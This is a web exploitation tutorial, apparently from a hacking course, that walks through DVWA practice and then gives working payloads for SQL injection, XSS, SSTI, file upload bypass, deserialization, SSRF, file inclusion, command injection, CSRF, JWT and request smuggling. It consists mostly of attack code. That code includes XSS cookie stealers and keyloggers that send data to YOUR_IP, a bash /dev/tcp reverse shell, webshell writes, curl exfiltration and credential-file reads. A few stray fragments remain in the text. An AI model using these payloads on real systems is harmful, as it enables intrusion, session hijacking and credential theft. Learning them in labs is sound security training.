Phase 3: Web Exploitation

# Quick DVWA setup with Docker (recommended)
docker pull vulnerables/web-dvwa
docker run -d -p 8080:80 vulnerables/web-dvwa

# Access at http://localhost:8080
# Default login: admin / password
# Go to DVWA Security → set to "Low" to start

# Practice these in order:
# 1. SQL Injection (Low → Medium → High)
# 2. XSS Reflected & Stored (Low → Medium → High)
# 3. Command Injection (Low → Medium → High)
# 4. File Upload (Low → Medium → High)
# 5. File Inclusion (Low → Medium → High)
# 6. Brute Force (Low → Medium → High)

# Alternative: Use TryHackMe's OWASP Top 10 room (guided, free)

💉 SQL Injection (SQLi) — The Full Story

When user input gets inserted directly into SQL queries without sanitization, you can manipulate the database. SQLi remains one of the most impactful vulnerabilities — it can lead to data theft, authentication bypass, and even remote code execution.

Step 1: Detection — Is It Vulnerable?

# Test these payloads in input fields, URL parameters, headers:
'                           # Single quote — look for SQL error
"                           # Double quote
' OR '1'='1                 # Always-true condition
' OR '1'='1' --            # Comment out rest of query
1 AND 1=1                   # True condition (should work normally)
1 AND 1=2                   # False condition (different behavior = injectable!)
' AND SLEEP(5) --          # Time-based — page delays 5 seconds?

# Signs of SQLi:
# - SQL error messages (MySQL, PostgreSQL, MSSQL syntax)
# - Different page content for true vs false conditions
# - Page hangs with SLEEP/WAITFOR payloads
# - 500 Internal Server Error on special characters

Step 2: Identify the Database

# Each database has different syntax:
# MySQL:    SELECT @@version         CONCAT()        -- or #
# PostgreSQL: SELECT version()       ||              --
# MSSQL:    SELECT @@version         +               --
# Oracle:   SELECT banner FROM v$version   ||        --
# SQLite:   SELECT sqlite_version()  ||              --

# Test with version queries:
' UNION SELECT @@version -- -                    # MySQL/MSSQL
' UNION SELECT version() -- -                    # PostgreSQL
' UNION SELECT sqlite_version() -- -             # SQLite

Step 3: UNION-Based Extraction — A Complete Walkthrough

# Goal: Extract data by appending UNION SELECT to the query

# Step 3a: Find the number of columns
' ORDER BY 1 -- -       # Works? Try next...
' ORDER BY 2 -- -       # Works? Try next...
' ORDER BY 3 -- -       # Works? Try next...
' ORDER BY 4 -- -       # ERROR! → 3 columns exist

# Step 3b: Find which columns display on the page
' UNION SELECT 1,2,3 -- -
# If you see "2" and "3" on the page, those columns are visible

# Step 3c: Extract database info
' UNION SELECT 1,database(),user() -- -
# Shows: current database name, current user

# Step 3d: Enumerate tables
' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database() -- -
# Shows: users, posts, sessions, etc.

# Step 3e: Enumerate columns of 'users' table
' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users' -- -
# Shows: id, username, password, email, role

# Step 3f: Extract the data!
' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users -- -
# Shows: admin:$2y$10$abc..., user1:$2y$10$def...

# Step 3g: Crack the hashes
# Save to file and use hashcat:
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt

Blind SQLi — When You Can't See Output

# Boolean-based: Different responses for true vs false
# Extract data one character at a time:
' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a' -- -
' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b' -- -
# ...until the page shows the "true" response → you found the character
# Then move to position 2, 3, etc.

# Time-based: No visible difference, use timing
' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(3), 0) -- -
# If page takes 3+ seconds → first char is 'a'

# Automate with SQLMap (see our guide!)
sqlmap -u "http://target/page?id=1" --batch --dbs
sqlmap -u "http://target/page?id=1" -D dbname --tables
sqlmap -u "http://target/page?id=1" -D dbname -T users --dump

SQLi to Shell — When the Database Gives You Code Execution

# MySQL: Write a webshell via INTO OUTFILE
' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3 INTO OUTFILE '/var/www/html/shell.php' -- -
# Then: http://target/shell.php?cmd=id

# MSSQL: Execute OS commands via xp_cmdshell
'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --
'; EXEC xp_cmdshell 'whoami'; --

# PostgreSQL: Execute commands via COPY TO
'; COPY (SELECT '') TO PROGRAM 'id'; --

'  1,username,password FROM users -- -

🔀 Cross-Site Scripting (XSS) — The Exploitation Chain

When a web app reflects user input without escaping, you can inject JavaScript that runs in other users' browsers. Here's the full chain from discovery to exploitation:

Step 1: Find the Injection Point

# Test all input fields, URL parameters, headers with:
<script>alert(1)</script>                    # Classic test
<img src=x onerror=alert(1)>                # Bypasses some filters
<svg onload=alert(1)>                        # Another bypass
"><script>alert(1)</script>                 # Break out of attribute
javascript:alert(1)                           # In href/src attributes
'-alert(1)-'                                  # Inside JS string

# Look at WHERE your input appears in the HTML source:
# In text content? → <script> tags work
# In an attribute? → Break out with " or ' first
# In JavaScript? → Break out of the string
# In a comment? → Break out with -->

Step 2: Confirm Execution

# Use a callback to confirm (alerts get caught by WAFs — Web Application Firewalls
# that filter malicious input before it reaches the application)
<script>fetch('http://YOUR_IP:8888/xss?c='+document.cookie)</script>
<img src=x onerror=fetch('http://YOUR_IP:8888/xss')>

# Listen on your machine:
python3 -m http.server 8888
# If you see a request → XSS confirmed!

Step 3: Steal Cookies (Session Hijacking)

# The classic cookie stealer:
<script>
new Image().src='http://YOUR_IP:8888/steal?c='+document.cookie;
</script>

# More reliable — fetch with POST:
<script>
fetch('http://YOUR_IP:8888/steal', {
  method: 'POST',
  body: document.cookie
});
</script>

# Use the stolen cookie:
# In browser DevTools → Application → Cookies → set the session cookie
# Or with curl:
curl -b 'session=STOLEN_VALUE' http://target/admin

Step 4: Beyond Cookie Stealing

# Keylogging (capture typed passwords):
<script>
document.onkeypress=function(e){
  fetch('http://YOUR_IP:8888/keys?k='+e.key);
}
</script>

# Capture form data (credentials on login page):
<script>
document.forms[0].onsubmit=function(){
  fetch('http://YOUR_IP:8888/creds?u='+document.forms[0].username.value+'&p='+document.forms[0].password.value);
}
</script>

# CSRF (Cross-Site Request Forgery) via XSS — make the victim's
# browser perform actions they didn't intend (like creating an admin account):
<script>
fetch('/admin/create-user', {
  method: 'POST',
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  body: 'username=hacker&password=hacker&role=admin'
});
</script>

XSS Filter Bypass Techniques

# Case variation
<ScRiPt>alert(1)</ScRiPt>

# Encoding
<script>alert(String.fromCharCode(88,83,83))</script>

# Event handlers (many options!)
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>

# Template literals (backticks)
<script>alert`1`</script>

# Double encoding
%253Cscript%253Ealert(1)%253C/script%253E

# Check PortSwigger's XSS cheat sheet for hundreds more!

🧪 Server-Side Template Injection (SSTI) — Detection Flowchart

Template engines (like Jinja2, Twig, and ERB) let developers embed dynamic content in web pages — for example, Hello, {{username}}. When user input is embedded directly in a template without sanitization, you can inject template syntax that executes arbitrary code on the server. This leads to RCE (Remote Code Execution) — the ability to run any command on the target, which is essentially game over. The key challenge is identifying which template engine is in use.

Detection — The Decision Tree

# Step 1: Try {{7*7}}
# → Shows 49? Go to Step 2a
# → Shows {{7*7}} literally? Try ${7*7} (Step 3)

# Step 2a: Try {{7*'7'}}
# → Shows 7777777? → It's JINJA2 (Python)
# → Shows 49? → It's TWIG (PHP)

# Step 3: Try ${7*7}
# → Shows 49? Try ${class.forName("java.lang.Runtime")}
#   → Works? → JAVA (FreeMarker, Velocity, Thymeleaf)
# → Shows ${7*7}? Try <%= 7*7 %>
#   → Shows 49? → ERB (Ruby)
#   → Shows <%= 7*7 %>? Try #{7*7}
#     → Shows 49? → Slim/Pug (Jade) or Ruby string interpolation

# Summary:
# {{7*7}} = 49, {{7*'7'}} = 7777777  → Jinja2
# {{7*7}} = 49, {{7*'7'}} = 49       → Twig
# ${7*7} = 49                        → FreeMarker/Velocity/EL
# <%= 7*7 %> = 49                    → ERB
# #{7*7} = 49                        → Pug/Slim

Exploitation by Engine

# Jinja2 (Python/Flask) — Most common in HTB
# Read /etc/passwd:
{{request.application.__globals__.__builtins__.__import__('os').popen('cat /etc/passwd').read()}}

# Shorter payload for RCE:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# Reverse shell via SSTI:
{{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/YOUR_IP/9001 0>&1"').read()}}

# Twig (PHP/Symfony)
{{['id']|filter('system')}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

# FreeMarker (Java)
${"freemarker.template.utility.Execute"?new()("id")}
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

# ERB (Ruby on Rails)
<%= system('id') %>
<%= `id` %>

💡 Real example: In our Flustered writeup, the Flask app used render_template_string() with user-controlled JSON input — classic SSTI leading to full RCE.

📤 File Upload Bypass Techniques

File upload functionality is one of the most dangerous features a web app can have. If you can upload a web shell, you get code execution. Developers try to restrict uploads — here's how to bypass those restrictions:

Common Restrictions and Bypasses

# 1. Extension blacklist bypass
shell.php            → Blocked!
shell.php5           → Allowed! (PHP still executes it)
shell.phtml          → Allowed!
shell.phar           → Allowed!
shell.php.jpg        → Depends on config (Apache may execute as PHP)
shell.php%00.jpg     → Null byte truncation (older servers)
shell.php.            → Trailing dot (Windows servers)
shell.php::$DATA     → NTFS alternate data stream (Windows IIS)

# 2. Content-Type bypass
# The server checks Content-Type header instead of actual file content
# In Burp, change:
Content-Type: application/x-php    → Content-Type: image/jpeg
# Server thinks it's an image, saves as .php → executes!

# 3. Magic bytes bypass
# Some servers check the file header (magic bytes)
# Prepend JPEG magic bytes to your PHP shell:
printf '\xff\xd8\xff\xe0' > shell.php.jpg
echo '<?php system($_GET["cmd"]); ?>' >> shell.php.jpg

# 4. Double extension with .htaccess
# Upload a .htaccess file first:
AddType application/x-httpd-php .jpg
# Now upload shell.jpg — Apache treats it as PHP!

# 5. SVG with embedded XSS/SSRF
# Upload an SVG file:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.cookie)</script>
</svg>

# 6. Polyglot files (valid image AND valid PHP)
# Use exiftool to inject PHP into EXIF data:
exiftool -Comment="<?php system(\$_GET['cmd']); ?>" image.jpg
mv image.jpg shell.php.jpg

Finding Where Uploads Land

# Check these common upload directories:
/uploads/
/images/
/media/
/files/
/attachments/
/static/uploads/

# Check the response after upload — it often reveals the path
# Check the image URL in your profile/post
# Use gobuster if you can't find it

🗃️ Deserialization Attacks — A Primer

Programs store complex data structures (objects) in memory. Serialization converts these objects into a format that can be saved or transmitted (bytes, JSON, XML). Deserialization converts them back into live objects. The danger: if an application deserializes data that you control (like a cookie or API parameter), you can craft a malicious object that executes code the moment it's deserialized — before the application even looks at the data.

How to Spot Deserialization Vulnerabilities

• Java: Look for base64-encoded data starting with rO0AB (the magic bytes of Java serialized objects). Cookies, hidden form fields, and API parameters are common locations.
• PHP: Look for data starting with O:4: or similar — PHP serialized format. a:2:{s:4:"name";...} is an array.
• Python: Base64-encoded pickle data. Flask session cookies often use pickle.
• .NET: Look for ViewState parameters, __VIEWSTATE in ASP.NET forms. SOAP XML with type hints.

# Java deserialization — use ysoserial
java -jar ysoserial.jar CommonsCollections1 'ping YOUR_IP' | base64
# Send the base64 payload where the app expects serialized data

# PHP deserialization
# If you can control serialized input:
O:4:"User":2:{s:4:"name";s:5:"admin";s:5:"isAdmin";b:1;}
# Craft objects that trigger __wakeup() or __destruct() magic methods

# Python pickle RCE
import pickle, base64, os
class Exploit:
    def __reduce__(self):
        return (os.system, ('id',))
print(base64.b64encode(pickle.dumps(Exploit())))

# Use the output as your session cookie / input

🔗 Server-Side Request Forgery (SSRF)

When you can make the server fetch URLs on your behalf, you can access internal services that aren't exposed externally.

# Basic SSRF — the server fetches URLs for you
http://target/fetch?url=http://127.0.0.1:8080/admin

# Cloud metadata endpoints (AWS)
http://target/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Cloud metadata (GCP)
http://target/fetch?url=http://metadata.google.internal/computeMetadata/v1/

# File read via file:// protocol
http://target/fetch?url=file:///etc/passwd

# Internal port scanning via SSRF
# Try http://127.0.0.1:PORT for common ports (22, 80, 3306, 6379, 8080, 8443)
# Different response size/time = port is open

# SSRF bypass techniques:
http://0.0.0.0/               # Alternative to 127.0.0.1
http://[::1]/                  # IPv6 localhost
http://127.1/                  # Shortened IP
http://2130706433/             # Decimal IP for 127.0.0.1
http://[email protected]/      # URL authority confusion
http://127.0.0.1.nip.io/      # DNS rebinding

📁 Local/Remote File Inclusion (LFI/RFI)

# LFI — read local files through path traversal
http://target/page?file=../../../../etc/passwd
http://target/page?file=....//....//....//etc/passwd  # bypass ../ filter

# PHP wrappers for code execution
http://target/page?file=php://filter/convert.base64-encode/resource=config.php
http://target/page?file=php://input  (POST body: <?php system('id'); ?>)
http://target/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=

# Log poisoning — inject PHP into log file, then include it
# 1. Send request with PHP in User-Agent:
curl -A '<?php system($_GET["cmd"]); ?>' http://target/
# 2. Include the log file:
http://target/page?file=/var/log/apache2/access.log&cmd=id

# /proc/self/environ — another LFI-to-RCE vector
http://target/page?file=/proc/self/environ
# If User-Agent appears in output → inject PHP in User-Agent header

# Windows LFI paths
http://target/page?file=C:\Windows\System32\drivers\etc\hosts
http://target/page?file=..\..\..\..\Windows\win.ini

🛡️ Command Injection

When user input is passed to OS commands without sanitization:

# Common injection points: ping, nslookup, whois, file conversion utilities

# Operators to chain commands:
; id                    # Semicolon — runs id after the first command
| id                    # Pipe — sends output to id
|| id                   # OR — runs id if first command fails
&& id                   # AND — runs id if first command succeeds
$(id)                   # Command substitution
`id`                    # Backtick substitution

# Blind command injection (no output visible):
; ping -c 3 YOUR_IP          # Listen with tcpdump
; curl http://YOUR_IP:8888/  # Listen with python HTTP server
; sleep 5                     # Time-based confirmation

# Out-of-band data exfiltration:
; curl http://YOUR_IP:8888/$(whoami)
; nslookup $(whoami).YOUR_DOMAIN    # DNS-based exfiltration

🔄 Cross-Site Request Forgery (CSRF)

CSRF tricks a victim's browser into making requests to a site where they're already authenticated. The attacker crafts a malicious page that, when visited, silently performs actions as the victim — changing their password, transferring funds, or modifying settings.

<!-- CSRF PoC: Change victim's email address -->
<html>
  <body onload="document.forms[0].submit()">
    <form action="https://target.com/settings" method="POST">
      <input name="email" value="[email protected]">
    </form>
  </body>
</html>

<!-- CSRF with JSON body (if Content-Type isn't validated) -->
<script>
fetch('https://target.com/api/settings', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'text/plain'},
  body: '{"email":"[email protected]"}'
});
</script>

What stops CSRF:

• CSRF tokens: Random value in each form that the server validates. If the token is missing or wrong, the request is rejected.
• SameSite cookies: SameSite=Lax (default in modern browsers) blocks cookies on cross-origin POST requests. SameSite=Strict blocks them on all cross-origin requests.
• Referer/Origin header checking: Server validates that the request originated from its own domain.

Testing for CSRF: Remove the CSRF token from a request in Burp — does it still work? Change SameSite to None — does the server accept it? Try changing the request method (POST→GET) — sometimes GET requests bypass CSRF protections.

🎯 Practice: PortSwigger Web Security Academy has an excellent CSRF lab series covering token bypass, SameSite bypass, and Referer validation bypass.

🔓 Broken Access Control — IDOR & Privilege Escalation

Broken access control is OWASP's #1 vulnerability (A01:2021). It means the application doesn't properly check whether a user has permission to perform an action or access a resource.

IDOR (Insecure Direct Object Reference)

# The classic IDOR test
GET /api/users/123/profile      → Your profile
GET /api/users/124/profile      → Someone else's profile (IDOR!)

# Test every endpoint with an ID:
GET /api/orders/5001            → Try /api/orders/5002
GET /api/documents/abc123       → Try sequential or UUIDs
POST /api/messages              → Change recipient_id
DELETE /api/posts/456           → Can you delete others' posts?

# Beyond numeric IDs:
/api/users/john.doe             → Try /api/users/admin
/api/invoices/INV-2024-001      → Increment the number
/api/files/report_q1.pdf        → Guess other filenames

Privilege Escalation via Access Control

• Horizontal: Accessing another user's data at the same privilege level (user A sees user B's records)
• Vertical: Accessing admin functionality as a regular user (user becomes admin)

# Vertical privilege escalation tests
# 1. Can a normal user access admin endpoints?
GET /admin/dashboard            → Try with regular user cookie
POST /api/admin/delete-user     → Try with regular user token

# 2. Parameter tampering
POST /api/register
{"username":"test", "role":"user"}
→ Try: {"username":"test", "role":"admin"}

# 3. Forced browsing
/admin                          → Blocked
/Admin                          → Maybe not blocked?
/ADMIN                          → Case sensitivity?
/admin/                         → Trailing slash?
/./admin                        → Path normalization?

# 4. HTTP method tampering
POST /api/admin/users → 403
GET  /api/admin/users → 200?     # Different method = different check?

💡 Pro tip: Burp Suite's "Autorize" extension is a game-changer for access control testing. It automatically replays every request with a lower-privileged session and flags where the response is the same — instant IDOR/access control detection.

🔑 Authentication & Session Attacks

Authentication is the gateway. If you can bypass it, you own the application.

JWT (JSON Web Token) Attacks

# JWT structure: header.payload.signature (base64url encoded)
# Decode a JWT (fix base64url padding first)
echo "eyJhbGciOiJIUzI1NiJ9" | tr '_-' '/+' | base64 -d

# Attack 1: "none" algorithm
# Change header to {"alg":"none"}, remove signature
# Some libraries accept unsigned tokens

# Attack 2: HMAC/RSA confusion
# Server expects RS256 (asymmetric) — switch to HS256 (symmetric)
# Sign with the server's PUBLIC key as HMAC secret

# Attack 3: Weak signing secret
# Brute-force the HMAC secret
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
john jwt.txt --wordlist=rockyou.txt --format=HMAC-SHA256

# Attack 4: kid injection
# Header: {"alg":"HS256", "kid":"../../etc/hostname"}
# Server uses the file content as the signing key

OAuth Misconfigurations

• Open redirect in callback: redirect_uri=https://target.com/callback/../../../attacker.com
• Missing state parameter: Enables CSRF on login — attacker links their OAuth account to victim's session
• Token leakage: Authorization code in URL → leaked via Referer header to third-party resources
• Scope creep: Request more permissions than the app needs — scope=read+write+admin

Password Reset Flaws

# Common password reset vulnerabilities:
# 1. Predictable tokens
#    Reset link: /reset?token=1234  → Try /reset?token=1235

# 2. Host header injection
#    POST /forgot-password
#    Host: attacker.com
#    → Reset email contains: https://attacker.com/reset?token=abc
#    → Victim clicks link → token sent to attacker's server

# 3. No rate limiting on reset endpoint
#    Brute-force short numeric OTP codes

# 4. Response manipulation
#    Server returns {"success": false} → Change to {"success": true}
#    (Only works if server-side validation is broken)

🔀 Advanced HTTP Exploitation

These techniques go beyond basic web vulns. They target the HTTP protocol itself and how servers/proxies interpret requests differently.

HTTP Request Smuggling

When a front-end proxy and back-end server disagree on where one request ends and another begins, you can "smuggle" requests past security controls.

# CL.TE smuggling (front-end uses Content-Length, back-end uses Transfer-Encoding)
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

# The front-end sees one request (CL: 13 bytes)
# The back-end sees the chunked terminator "0\r\n\r\n"
# Then treats "SMUGGLED" as the start of a new request

Impact: Bypass WAFs, hijack other users' requests, steal credentials, poison web caches. This is an advanced technique — start with PortSwigger's request smuggling labs.

Cache Poisoning

If a CDN/cache stores a response keyed by URL but the response content is influenced by an unkeyed header (like X-Forwarded-Host), you can poison the cache to serve malicious content to all users:

# Inject malicious content via unkeyed header
GET /page HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com

# If the response includes: <script src="//attacker.com/evil.js">
# AND the cache stores this response...
# Every subsequent user gets the poisoned page

🎯 Where to practice: PortSwigger Web Security Academy has labs for every technique in this section — CSRF, access control, JWT attacks, OAuth, request smuggling, and cache poisoning. They're free, browser-based, and the best way to learn these attacks hands-on.

page.php?file=